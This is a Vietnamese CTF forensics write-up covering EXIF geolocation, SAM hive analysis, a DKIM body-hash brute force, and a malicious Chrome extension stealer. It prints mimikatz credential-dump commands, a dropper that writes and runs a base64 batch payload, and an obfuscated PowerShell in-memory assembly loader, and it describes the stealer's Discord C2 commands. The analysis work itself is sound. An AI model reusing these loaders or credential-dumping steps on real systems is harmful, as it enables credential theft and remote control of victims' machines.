2658 words
13 minutes
FIA CTF 2025 - Forensics
2025-06-07

Definitely not Osint#

MY CUSTOM TITLE

I said, not Osint, and not stego also.

Example: If you find the lat,long is 10.8355694 and 106.808965 then the flag will rounded 3 decimal lat, long FIA{10.836_106.809}

Tại bài này, vì là tag very easy nên sẽ trực tiếp giải luôn, sử dụng exiftool ta tra được thông tin metadata sau:

image

Dựa vào thông tin tọa độ GPS được gắn trong metadata thì ta sử dụng công cụ để convert từ GPS latitudeGPS longtitude thành format của flag bằng trang web này

image

S4m Sm1th#

Description

You said I’m crazy, cause you don’t think I know what you’ve done ~~ But when you call me baby, I know I’m not the only one

Forget that nonsense description, deep dive into file and answer all the questions. Gud luck!

Tại bài này sẽ cho ta một file SAM và một file SYSTEM và phải kết nối tới server và trả lời các câu hỏi dựa vào đề.

  • SAM: Security account manager, đây là một file lưu trữ các thông tin về tài khoản local được lưu trên máy, đây cũng được coi là một phần của registry
  • System: Là một file registry trong Windows, đùng để cấu hình windows, drivers,…

Có thể mở file SAM bằng registry và trong đó sẽ chứa một số thông tin mà ta có thể sử dụng trong bài này

Question 1

How many users are enabled in the machine?

Để trả lời cho câu hỏi này thì ta sẽ vào bên trong đường dẫn \ROOT\SAM\DOMAIN\ACCOUNT\USERS sẽ ra được các trường thông tin trong file SAM

image

Dựa vào trường Account enable thì ta biết được đáp án là 6

Question 2

List all users in Administrators group (separated by comma, by alphabet) Example: admin,jack,john,leo

Tại câu hỏi này chỉ cần dựa vào trường group của user thì sẽ ra được kết quả, tìm user nào có group Administrator.

Answer: Administrator,Bory Tran,S4m Sm1th

Question 3

How many times has user Administrator failed to login?

Để kiểm tra thì sẽ dựa vào trường Invalid login count là ra kết quả

Answer: 16

Question 4

How many times has user S4m Sm1th successfully logged in?

Đến User S4m Sm1th và tìm cột Total login acount.

Answer: 6

Question 5

Check account creation date for user “E4gl3 Le” and convert it to epochtime (GMT)

Tìm đến user E4gl3 Le và tìm tới cột Created on và convert sang epochtime

image

Answer: 1723851333

Question 6

Check the last time user “Jerryyy Dang” changed their password and convert it to epochtime (GMT)

Cũng như câu trên, tại đây ta sẽ tìm tới user Jerryyy Dang và kiểm tra phần Last Password change

image

Answer: 1723853225

Question 7

Tell me the last time incorrect password was entered for user “S4m Sm1th” and convert it to epochtime (GMT)

Cũng tương tự các câu trên, tại đây chỉ cần xem phần Last incorrect password là ra

image

Answer: 1723850434

Question 8

What is the security question for user at was “Bory Tran” first pet’s name?

Chỉ cần nhìn vào Reset data đây là các câu hỏi là câu trả lời của từng user khi họ muốn recover mật khẩu khi quên, tại đây ta chỉ cần coi và ra được đáp án

image

Answer: Phinease

Question 9

What is the machine SID?

Để biết được machine SID là bao nhiêu thì ta có thể dựa vào file SAM kết hợp với SYSTEM và sử dụng mimikatz để có thể dump ra được dữ liệu. Sử dụng mimikatz với câu lệnh sau:

privilege::debug  
token::elevate
lsadump::sam /sam:<sam_path> /system:<system_path>

image

Answer: S-1-5-21-1783870077-3487014741-3000745814

Question 10

What is the password of S4m Sm1th?

Và để làm được câu này thì dựa vào câu trên ta biết được mã hash của S4m Sm1th vì thế tiến hành lên crackstatsion để test và cho ra kết quả

image

Answer: qwertyuiop

In tơ ri ti#

Description

Kỳ mới đã tới nhưng mà voucher học phí tại FPT có vẻ như không hợp lý cho lắm. Bạn hãy giúp Jeryy tìm lại nó nhé!

Tại đây sẽ được cho một file eml và chứa thông tin về nội dung mail được gửi đi. Khi nhần về phần mail thì ta thấy có một đoạn flag nhưng mà có vẻ nó đã được thay đổi FIA{F|3T_Tru0ng_lu4_g4``_sO_1_Vi-en_fbcb4677393****88e4a6b5def3f5d3b}

Và đề có cho ta hint nói về RFC6367, đây là một tài liệu đặc tả để nói về việc sử dụng DKIM để sử dụng cho việc bảo vệ tính toàn vẹn của mail khi được gửi đi.

Kiểm tra về RFC6367 thì thấy được cơ chế hoạt động để gửi mail đi như thế nào, Ta thấy phần mục 3.7 đề cập tới việc tính toán Message hash

Cả ký (signing) và xác minh (verifying) chữ ký DKIM đều bắt đầu bằng việc tính hai hàm băm: một cho phần thân tin nhắn và một cho các trường tiêu đề được chọn. Tuy nhiên ta chỉ cần chú ý tới phần Hash Step 1RFC6367 đề cập tới

image

Nó sẽ thực hiện các bước sau:

  • Áp dụng thuật toán theo thẻ c
  • Cắt ngắn theo độ dài trong thẻ l nếu có
  • Băm phần thân đã chuẩn hóa bằng thuật toán hashing trong thẻ a
  • Chuyển kết quả băm thành base64 và lưu vào/so sánh với thẻ bh

image

Dựa vào metadata thi ta biết được sử dụng

  • c = relaxed/relaxed
  • a = rsa-sha256

Vậy relaxed/relaxed là gì ? Đọc thêm ta biết được đây giống như một cách để format theo dạng chuẩn của body

image

Thuật toán chuẩn hóa sẽ được sử dụng như sau:

  • Chuyển chữ hoa sang thường
  • Loại bỏ CRLF nhưng giữ CRLF ở cuối
  • Chuyển các tab hoặc indent thành một whitespace
  • Xóa các tabindent ở cuối
  • Bỏ các tab, indent, whitespace ở giữa dấu hai chấm

Vậy giờ đã biế hướng làm, giờ ta sẽ tiến hành đi bruteforce. Các bước thực hiện:

  • Chuẩn hóa theo chuẩn relaxed/relaxed
  • Mã hóa theo sha256
  • convert base64 và so sánh với body hash ban đầu
import hashlib
import base64
import re
import email
import email.message
import sys

from typing import Dict, Optional

def parse_header(dkim_header: str) -> Dict[str, str]:
    parameter = {}
    parts = dkim_header.split(";")
    for part in parts:
        key, value = part.split("=", 1)
        parameter[key.strip()] = re.sub(r'(\n|\t\|\r|\s)', "", value)
    return parameter

def calculate_relaxed_body_hash(body_str: str, hash_alg_name: str = 'sha256', body_encoding: str = 'utf-8') -> str:
    """
    Calculates the DKIM body hash (bh) using c=relaxed/relaxed canonicalization.

    Args:
        body_str: The raw email body as a string. It's assumed that this string
                  has already been decoded from any MIME transfer encodings (like
                  quoted-printable or base64 if it's not a plain text part).
                  Line endings can be mixed (\n, \r\n, \r).
        hash_alg_name: The name of the hash algorithm to use (e.g., 'sha256', 'sha1').
                       Defaults to 'sha256'.
        body_encoding: The character encoding to use when converting the canonicalized
                       body string to bytes for hashing. Defaults to 'utf-8'.

    Returns:
        The Base64 encoded hash of the canonicalized body.
    """

    # 0. Normalize line endings for internal processing (RFC implies CRLF input,
    #    but Python's splitlines handles various endings gracefully).
    #    We will reconstruct with CRLF later.
    #    Using body_str.splitlines() will handle \r, \n, \r\n correctly
    #    and remove the line endings.
    lines = body_str.splitlines()
    
    canonical_lines = []

    for line in lines:
        # Step 1: Reduce Whitespace within Lines
        # All sequences of one or more WSP (Whitespace characters: SPACE and HTAB)
        # *within* a line are reduced to a single SPACE character.
        # WSP at the beginning or end of the line is NOT affected by this step.
        line = re.sub(r'[ \t]+', ' ', line)

        # Step 2: Ignore Whitespace at the End of Lines
        # All WSP at the end of each line is ignored (removed).
        # WSP at the *beginning* of a line is PRESERVED.
        line = line.rstrip(' \t')
        
        canonical_lines.append(line)

    # Step 3: Ignore All Empty Lines at the End of the Body
    # An "empty line" is a line that contains only WSP characters (which would
    # have been reduced to an empty string by rstrip above), or no characters
    # at all, followed by a CRLF.
    while canonical_lines and canonical_lines[-1] == "":
        canonical_lines.pop()

    # Reconstruct the canonicalized body
    if not canonical_lines:
        # If the body becomes empty after canonicalization (or was empty to start),
        # the hash input is the empty string.
        canonical_body_str = ""
    else:
        # Join lines with CRLF and ensure the body ends with a single CRLF.
        # RFC 6376, 3.4.4: "all non-empty canonicalized bodies MUST end with a CRLF."
        canonical_body_str = "\r\n".join(canonical_lines) + "\r\n"

    # Convert the canonicalized body string to bytes using the specified encoding
    body_bytes = canonical_body_str.encode(body_encoding)

    # Hashing
    try:
        hasher = hashlib.new(hash_alg_name)
    except ValueError:
        raise ValueError(f"Unsupported hash algorithm: {hash_alg_name}. Common are 'sha256', 'sha1'.")
        
    hasher.update(body_bytes)
    binary_hash = hasher.digest()

    # Base64 encode the binary hash
    b64_hash = base64.b64encode(binary_hash)

    return b64_hash.decode('ascii')

def get_email_body(mail: email.message.Message) -> str:
    if mail.is_multipart():
        for part in mail.walk():
            if part.get_content_type() == "text/plain":
                return part.get_payload(decode=True).decode()
        return ""
    else:
        return mail.get_payload(decode=True).decode()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python solve.py <email_file>")
        sys.exit(1)

    with open(sys.argv[1], "rb") as f:
        mail = email.message_from_bytes(f.read())

    dkim_header = mail.get("DKIM-Signature")
    dkim_parameter = parse_header(dkim_header)

    if mail.is_multipart():
        body = mail.as_string().split("\n\n", 1)[1]
    else:
        body = mail.get_payload(decode=True).decode('utf-8', errors='ignore')
        
    for i in range(0x0000, 0x10000):
        candidate = format(i, '04x')
        print((candidate))
        edited_body = body.replace("****", str(candidate))
        bh1 = calculate_relaxed_body_hash(edited_body)
        if bh1 == dkim_parameter["bh"]:
            print(f"Match found: {candidate}")
            break

image

frog10sion#

Description

Vào một ngày đẹp trời, S4m Sm1th muốn trở thành héc cơ số 1 fbt nên đã thử cài phần mềm lạ về nhằm hack trường. Sau đó thì… không có sau đó ở đây nữa 🤡

Tại bài này cho ta một Hard disk, thử kiểm tra thông qua việc sử dụng History để kiểm tra user này đã làm gì, vì khi muốn cài phần mềm lạ thì ta sẽ có xu hướng cài đặt từ trên mạng xuống. Đường dẫn của file History sẽ nằm ở:

  • Appdata\Local\Google\Chrome\User Data\Default\History

Mở bằng DB browser vì file History được viết dưới SQlite 3 nên ta có thể dễ dàng xem được user này đã làm được những gì thì ta thấy được User này đã download một file hack-fap-fpt-chrome-extension.zip

image

Vì nhận biết đây là một file extension nên ta sẽ tìm kiếm chỗ đường dẫn import extension

image

Ta biết đường dẫn tại

  • C:\Users[YourUsername]\AppData\Local\Google\Chrome\User Data\Default\Extensions

Vào trong đường dẫn thấy các Extension sau:

image

Do Extension sau khi import đã bị đổi hết lại tên nên ta phải đi dò từng folder và xem manifest.json để biết được tên của extension. Thấy rằng có một extension chứa metadata liên quan đến ứng dụng FAP

image

Để ý trong phần script có một file JS tận 15mb kiểm tra hàm inject

image

var silver = WScript.CreateObject("Microsoft.XMLDOM");

	var sinema = silver.createElement("tmp");

	sinema.dataType = "bin.base64";

	sinema.text = aso_ibora;

	var sugar = WScript.CreateObject("ADODB.Stream");
	sugar.Type = 1;
	sugar.Open();
	sugar.Write(sinema.nodeTypedValue);
	var wshShell = WScript.CreateObject("WScript.Shell");
	var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
	var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
	var path = "yum.bat";
	var is_temp = false;

	if (is_temp) {
		path = tempdir + "\\" + path;
	} else {
		path = appdatadir + "\\" + path;
	}

	sugar.SaveToFile(path, 2);
	if (path.endsWith(".jar")) {
		wshShell.run("java -jar \"" + path + "\"");
	} else if (path.endsWith(".bat") || path.endsWith(".wsf")) {
		wshShell.run("wscript \"" + path + "\"");
	} else {
		wshShell.run("\"" + path + "\"");
	}
	} catch (err) {
		WScript.Echo(err.message);
	}

Tại hàm này sẽ gen ra một file yum.bat trong appdata và sau đó sẽ lưu file dưới tên yum.bat và lưu payload từ base64.

Lấy payload trong aso_ibora và decode base64

image

Dump ra được một file .bat và bây giờ ta sẽ phân tích file bat này. Để ý file này bị Obfuscate nhưng chỉ dùng phương pháp String obfuscate ta chỉ cần việc replace thôi là được.

Remove các REM bởi vì nó chỉ làm rối

image

sau khi deobfuscate thì ra đoạn sau:

set "_NT_SYMBOL_CHANNEL_=_NT_SYMBOL_CHANNEL_"

reg add "HKEY_CURRENT_USER\Environment" /v _NT_SYMBOL_CHANNEL_ /d "1258850437876944929" /f

set "_NT_SYMBOL_ID=_NT_SYMBOL_ID"

reg add "HKEY_CURRENT_USER\Environment" /v _NT_SYMBOL_ID /d "1258850435972993145" /f

echo F | xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ~0.Qjv

echo attrib +s +h ~0.Qjv

~0.Qjv -WindowStyle hidden -command "$Xmszuibzdz = Get-Content '' | select-object -Last 1; $Ydxyyqq = [System.Convert]::FromBase64String($Xmszuibzdz);$Iasbxgym = New-Object System.IO.MemoryStream( , $Ydxyyqq );$Jhfdjpe = New-Object System.IO.MemoryStream;$Kszejspes = New-Object System.IO.Compression.GzipStream $Iasbxgym, ([IO.Compression.CompressionMode]::Decompress);$Kszejspes.CopyTo( $Jhfdjpe );$Kszejspes.Close();$Iasbxgym.Close();[byte[]] $Ydxyyqq = $Jhfdjpe.ToArray();[Array]::Reverse($Ydxyyqq); $Ikhpwqruay = [System.Threading.Thread]::GetDomain().Load($Ydxyyqq); $Miihqpfmzj = $Ikhpwqruay.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"

exit

Script sẽ gắn các biến môi trường vào bên trong máy. Sau đó thực hiện lệnh powershell.

  • Đọc dòng cuối của file
  • Giải mã base64
  • Decompress Gzip
  • Đảo ngược chuỗi
  • Load chương trình

image

Sau khi download được file gzip thì có được file stealer bên trong. Tiến hành đảo ngược lại chuỗi như trên powershell script đã thực hiện

image

Sau đấy thì ta có được file exe

Khi phân tích file stealer thì ta thấy được đây chính là file stealer được viết bằng python vì có icon của file được compile bằng python

image

Tiến hành decompyle, sử dụng pyextractor để lấy ra được các file pyc. Kiểm tra thấy một file tên stealer.pyc

image

Sử dụng trang https://www.pylingual.io/ và upload file pyc lên thì ta được source code của bài. Phân tích kĩ thông qua việc đọc code python thì ta biết được các thông tin sau:

image

Hàm main sẽ thực thi hàm FBxMfTQUgz và sau đó sẽ chạy discord bot dựa trên token được cho. Phân tích hàm FBxMfTQUgz thì biết đây là chức năng stealer

Nó sẽ đi qua hết tất cả các đường dẫn chứa thông tin của trình duyệt nhân Chronium

  • Opera
  • Opera GX
  • Google Chrome
  • Microsoft Edge
  • Brave
  • Chrome Beta
  • Chromodo

Đối với từng trình duyệt chúng nó sẽ tìm Mater key của browser thông qua hàm zaDThEJSGQ

Đối với từng browser profile, sẽ đi lần lượt qua hết các profile và thu thập các thông tin sau:

  • wtcQSTjBih: lấy username và pass đăng nhập
  • dZLKtPxpBD: Lấy lịch sử truy cập web
  • lZERLeNOwa: lấy thông tin download

Những thông tin này sẽ lưu vào các biến lần lượt: LOGINS, WEB_HISTORY, DOWNLOADS

Hàm GpRAulLvrQ sẽ phân giải biến môi trường bao gồm _NT_SYMBOL_ID_NT_SYMBOL_CHANNEL_

Sẽ gửi thông tin thông qua địa chỉ CNC dựa trên _NT_SYMBOL_ID_NT_SYMBOL_CHANNEL_. Có các command bao gồm:

  • globalinfo: lấy thông tin của máy
  • execshell: thực hiện shell trên máy của nạn nhân
  • quit: ngắt kết nối
  • steal: lấy hết thông tin trong browser của nạn nhân
  • showHis: lấy thông tin lịch sử truy cập của nạn nhân
  • showDown: xem lịch sử download của nạn nhân
  • download: thực hiện lấy các file trên máy nạn nhân

Tại đây, khi kiểm tra tình trạng bot lẫn server thì ta thấy được rằng server vẫn còn hoạt động và có thể truy cập được.

image

Truy cập vào C2 thì ta thấy được những gì được thực thi

image

Tại đây có một file zip được gửi lên server, tải về xem thử, tuy nhiên khi extract không được

image

Đọc lại source code thì thấy được chức năng download sẽ thực hiện việc lấy hết tất cả các loại file sau đây từ các thư mục trong USERPROFILE

image

Sau khi lấy xong thì sẽ đặt tên là upload.zip và sau đó sẽ được thực thi tại hàm CXPkycmTAa

def CXPkycmTAa(uNvoSEMwJe, VSeWtElMYr, key):
    try:
        with open(uNvoSEMwJe, 'rb') as inp:
            data = inp.read()
        enc = MPOaqWuYkH(key, data)
        with open(VSeWtElMYr, 'wb') as out:
            out.write(enc)
    except Exception as e:
        return 0

Khi xét hàm này ta thấy được nó được sử lý thông qua hàm MPOaqWuYkH. Đây là mã hóa RC4

def itWVhandHx(khIKRYXpQF):
    LxYmNMbCqy = len(khIKRYXpQF)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + khIKRYXpQF[i % LxYmNMbCqy]) % 256
        S[i], S[j] = S[j], S[i]
    return S


def PfUxzowRWm(S, uNvoSEMwJe):
    i = j = 0
    out = []
    for char in uNvoSEMwJe:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        out.append(char ^ K)
    return bytes(out)


def MPOaqWuYkH(key, data):
    key = [ord(c) for c in key]
    S = itWVhandHx(key)
    return PfUxzowRWm(S, data)

Vậy chúng ta biết đây là sau khi nén file zip thì đã được mã hóa RC4 và gửi đi, vậy giá trị RC4 key ở đây là gì. Câu trả lời là địa chỉ IP của nạn nhân. Bởi vì khi trace hàm ngược lại thì tham số thứ 3 của CXPkycmTAa chính là phần key, khi kiểm lại hàm thì thấy tham số thứ 3 chính là hàm nyCidxJVDf. Trace hàm thì biết hàm này lấy thông tin IP

def nyCidxJVDf() -> str:
    OonWMrLQeJ = 'https://api.ipify.org?format=json'
    YgyvzXclqs = requests.get(OonWMrLQeJ)
    YgyvzXclqs.raise_for_status()
    data = YgyvzXclqs.json()
    return data['ip']

Để lấy được thông tin IP thì ta để ý TA có thực hiện sử dụng câu lệnh globalinfo biết được IP user là 113.161.37.69

Giờ dùng cyberchef để decrypt và ra được file zip hoàn chỉnh

image

Flag nằm trong thư mục Download sau khi giải nén

image

Trong file flag_day_ahihi.png

image

FIA CTF 2025 - Forensics
https://jerryyytheduck.id.vn/posts/ctf-fia-2025/fia-ctf-2025/
Author
Jerryyy
Published at
2025-06-07